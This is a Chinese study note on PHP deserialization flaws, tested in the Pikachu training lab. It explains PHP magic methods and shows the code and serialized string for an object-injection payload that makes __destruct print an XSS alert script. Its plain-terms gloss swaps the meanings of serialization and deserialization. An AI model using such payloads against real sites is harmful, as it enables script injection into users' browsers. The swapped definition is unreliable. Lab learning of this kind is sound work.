unserialize-基于Pikachu的学习
php反序列化
PHP反序列化漏洞详解(万字分析、由浅入深)_php反序列化漏洞原理-CSDN博客
PHP反序列化基础 - Hello CTF (hello-ctf.com)
PHP反序列化漏洞的原理及复现 - FreeBuf网络安全行业门户
原理:
php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
php序列化的函数为serialize
,可以将对象中的成员变量转换成字符串。
反序列化的函数为unserilize
,可以将serialize
生成的字符串重新还原为对象中的成员变量。
将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。
咱们先了解一下序列化和反序列化都是什么含义
通俗来讲
序列化就是把字符串去转换成PHP对象
反序列化就是把php对象转换成字符串
常见的魔术方法
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
Pikachu
打开题目就让我输入一个序列化的东西,但是没有啥源码,估计就是概述里面的那个示例
那我们就分析一下
我们去创造一个S的对象,然后会触发destruct这个魔术方法,然后打印出test的值,那我们就可以在test的这里去动手脚了
new S() -> __destruct() -> $this->test
我们打开php在线这个网站,去序列化一下PHP 在线工具 | 菜鸟工具 (jyshare.com)
我们构造一下payload:
<?php
class S{
function __destruct(){
echo $this->test;
}
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>
然后弄到输入框试试:
成功了。